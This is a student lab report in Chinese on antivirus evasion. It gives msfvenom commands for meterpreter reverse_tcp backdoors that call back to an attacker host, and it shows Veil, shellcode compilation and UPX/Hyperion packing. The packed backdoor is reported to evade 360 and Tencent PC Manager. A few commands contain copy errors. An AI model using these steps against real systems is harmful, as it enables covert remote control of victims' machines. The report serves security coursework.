Exp3 免杀原理与实践 20165110

一、. 实践内容

1.正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

2.通过组合应用各种技术实现恶意代码免杀(0.5分)

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、实验内容

1.任务一

1.1正确使用msf编码器(0.5分)

(1)使用msfvenom -l encoders查看可以使用的编码器,选择其中的一个来生成所需要的后门。

(2)将上一个实验中用msf生成的后门程序放到virscan网站中进行扫描

可以发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。

(3)接下来通过多次编码来查验其是否可以通过增加编码次数来降低其查验率

我分别进行了一次和十次编码,分别生成了相应的后门程序

放到virscan中进行扫描

(编码一次的扫描结果)

(编码十次的扫描结果)

通过比对我们可以发现,编码次数对查验率没有直接的影响。

1.2msfvenom生成如jar之类的其他文件(0.5分)

(1)生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor_java.jar
(2)生成apk文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor.php
(3)生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.168.128 lport=5110 x> 20165110_backdoor.php

使用msfvenom生成更多类型后门程序请参见该博客

1.3veil-evasion(0.5分),加壳工具(0.5分)

(1)安装veil-evasion

这个过程说简单也简单,说难也是难于上青天的。这个步骤卡了我一天,好在最后在大佬的指点下解决了,此处感谢zch大佬一语点醒梦中人啊。

我使用sudo apt-get install veil-evasion进行安装,随后输入y之后就开始激动人心之旅,过程异常之痛苦,耗费了我大量的流量,好不容易加载到了百分之百,结果python总是装不上,装不上也就算了,它还在不停地重试。。。

最后大佬告诉我装不上的原因是因为我的kali版本与python版本不匹配,然后我又进行了激动人心的sudo apt-get upgrade在经历了漫长的等待时间之后,更新完成,再次执行上述指令,最终安装成功,但是我的python环境的中文有乱码,我查了一下是因为字体没有下载,但是没有关系了,因为已经不影响使用啦。

(2)进入veil

输入veil

输入use evasion

输入use c/meterpreter/rev_tcp.py

随后设置

set LHOST 192.168.78.128   //kali的IP
set LPORT 5313 //监听端口

最后输入generate

输入生成程序的文件名

然后传回主机,嗯分分钟被发现了,微笑.jpg



附:扫描过程

扫描结果

1.4使用shellcode编程(1分)

(1)生成shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=92.168.168.128 LPORT=5110 -f c

(3)生成.c文件

通过指令touch test.c生成一个c语言形式的文件将刚刚生成的shellcode数中产生的buf[]中的字符串复制到改文件中,再加入必要的函数,修改完成保存该文件

(4)编译该文件

使用命令i686-w64-mingw32-g++ test.c -o 20165110.exe进行编一生成exe文件

(5)检测

通过virscan进行扫描

(6)加壳工具

压缩壳

使用upx payload2+.exe -o playload2++.upxed.exe指令生成一个新的后门程序

kali攻击机,win7受害者

经测试该后门程序可用

通过virscan进行扫描

结果如下图12个软件可以查出该exe含有病毒

加密壳

首先将upx文件拷贝至/usr/share/windows-binaries/hyperion/目录下,随后在该目录中进入终端

输入wine hyperion.exe -v payload2+.exe payload2++.exe对刚才加过压缩壳的文件增添加密壳

kali攻击机,win7受害者

经测试该后门程序可用

有意思的地方来了,经过加密壳操作后的程序放到virscan进行扫描

结果震惊的一幕发生了

居然更多的软件扫描出了其中的病毒!!!!!!

2.任务二

通过组合应用各种技术实现恶意代码免杀(0.5分)

使用C语言生成的shellcode+压缩壳方式可以免杀成果并且实现对机器的控制

攻击机:kali

受害者:win7虚拟机

首先重复上面的1.4的步骤,生成相应的buf[]字符串数组,然后使用windows平台下vc进行编译,将编译成功的exe传回kali中,再进行压缩壳操作,完成后将新生成的程序再传回win7中进行运行。

经测试后后门程序运行正常

杀毒软件(360安全卫士11)扫描后没有扫描出病毒,免杀成功!


上面我已经实现免杀了,这个是没有免杀的失败尝试!!!!

我还尝试了加密壳,结果居然分分钟被杀掉了,我刚一双击就被杀没了,按说加了壳之后应该比加了壳更难被发现,结果这个加密壳,居然让原先没被发现的病毒被发现了???颇有种画蛇添足的赶脚,真是令人打开眼界啊。。。。


3.任务三

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

另一电脑(版本win7 x64)

安装的是腾讯电脑管家(版本号13.3.20237.212)

一开始我ping不通舍友的电脑(因为不处于一个网段上)后来将虚拟机的网络设置改为桥接之后,虽然都在10.1.1网段中但是依然ping不通,十分头秃,后来我发现是否连接网络对ip地址没有影响,于是乎我更改了vm的网络首选项,将其设置成了与主机一致的网卡,然后再次ipconfig之后

我的主机ip 10.1.1.210
舍友主机ip 10.1.1.113

重复上述任务二的操作,用新的ip地址和端口号生成一个新的后门程序并对其进行加压缩壳实现,然后将其传输给舍友的主机

经检验该后门程序运行正常

然后用电脑管家进行查杀,结果如图

免杀成功!

三、基础问题回答

1.杀软是如何检测出恶意代码的?

答:特征代码法:该方法是目前杀毒工具中必备的组成部分

校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。

行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

2.免杀是做什么?

答:免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”

3.免杀的基本方法有哪些?

答:(1)采用不同的编码方式,或者编码次数

(2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳(个人认为加密壳好想有点适得其反的赶脚,本身好好的一加上加密壳结果反而被检测出来了)

(3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤

4.开启杀软能绝对防止电脑中恶意代码吗?

答:做完这次实验后我果断卸载了360和电脑管家,这两个杀毒软件我都不知道夸它啥好了,都没我电脑自带的windos能力强,一脸嫌弃。。。

四、实验体会

唔,这次实验让我对这些杀毒软件失去了信心,觉得都太糟糕了,连我制作的这种菜鸡型后门都检测不出来,我为我的电脑感到深深的忧虑。

但是后来在大家的反馈来看,现在360管家还是可以将一些之前检测不出来的一些程序还是可以被发现了的,说明病毒库在不断的更新,所有后门程序都不可以一成不变正常运行,让我稍微又对这些杀毒软件捡回了一些信心。

但是我们制作的这些后门都是反弹端口型的,也就是刻意的自己去点击这些后门程序从而实现被控,这个在现实生活中显然是不可取的,所以要想真正实现一个后门程序应有的模样还是有一些功夫要下的哟。

还有一个让我觉得非常神奇的事情就是,我加了加密壳之后居然能将原先检测不出来的东西被检测出来,唔,这就说明一个问题,这段程序之前的代码也就是有关解密的相关代码应该已经被放到特征库中去了,那我有有一个问题了如果将一个正常的exe文件进行加壳会不会也检测出病毒了呢,如果是的话那就可以验证我的猜想了呢,如果是的话那可能会引起非常多的误报。。。

五、实验过程中出现的错误

1.安装veil中的问题

原因:因为我的kali版本与python版本不匹配

解决方法:sudo apt-get upgrade

2.exploit时显示错误

原因:IP地址被占用,上一次使用没有正常退出

解决方案:重启一下电脑,下一次使用msfconsole时正常推迟

3.ping不同舍友的电脑

原因:不在一个网段上

解决方案:设置为桥接模式,并设置虚拟网络

4.将文件传输到舍友的电脑上却并不能实现控制

原因:LHOST改变

解决方案:重新生成一个新的程序

Exp3 免杀原理与实践 20165110的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. win10 solidity开发环境搭建

    1. 软件安装 1) 安装nodejs 安装完成后将node.exe所在路径加入环境变量PATH中,以便在cmd命令行中直接使用node和npm命令 下面的操作在git bash下进行 2) 安装so ...

  2. react的学习笔记

    React中几个核心的概念### 虚拟DOM(Virtual Document Object Model) + **DOM的本质是什么**:浏览器中的概念,用JS对象来表示 页面上的元素,并提供了操作 ...

  3. [UE4]AttachToComponent的AttachmentRule

    官方文档 KeepRelative 将当前相对转换保持为新父级的相对转换 KeepWorld 自动计算相对变换,使附着的组件保持相同的世界变换 SnapToTarget 捕捉转换到附着点

  4. 爬虫系列3:Requests+Xpath 爬取租房网站信息并保存本地

    数据保存本地 [抓取]:参考前文 爬虫系列1:https://www.cnblogs.com/yizhiamumu/p/9451093.html [分页]:参考前文 爬虫系列2:https://www ...

  5. Java Lambda expression

    Lambda 表达式,也可称为闭包,它是推动 Java 8 发布的最重要新特性. Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中). 使用 Lambda 表达式可以使代码变的更加 ...

  6. C#实现json压缩和格式化

    json作为常用数据文件,为了传输的效率,在传输前要进行压缩,而在传输后要进行格式化,以便阅读.下面是使用C#完成的格式化和压缩代码. public static string Compress(st ...

  7. 如何确保Memcache数据读写操作的原子性(转)

    什么是CAS协议 Memcached于1.2.4版本新增CAS(Check and Set)协议类同于Java并发的CAS(Compare and Swap)原子操作,处理同一item被多个线程更改过 ...

  8. jquery操作select下拉框的各种方法,获取选中项的值或文本,根据指定的值或文本选中select的option项等

    简介jquery里对select进行各种操作的方法,如联动.取值.根据值或文本来选中指定的select下拉框指定的option选项,读取select选中项的值和文本等. 这一章,站长总结一下jquer ...

  9. java生成word

    import freemarker.template.Configuration; import freemarker.template.Template; import javax.servlet. ...

  10. intellij idea工具 DeBug调试

    断点的设定和eclipse一样,只要点一下就可以,下面是我设定的几个断点,再下面的三个窗口是用来调试代码的,这个和eclipse类似 调试常用的快捷键 F9 resume programe 恢复程序 ...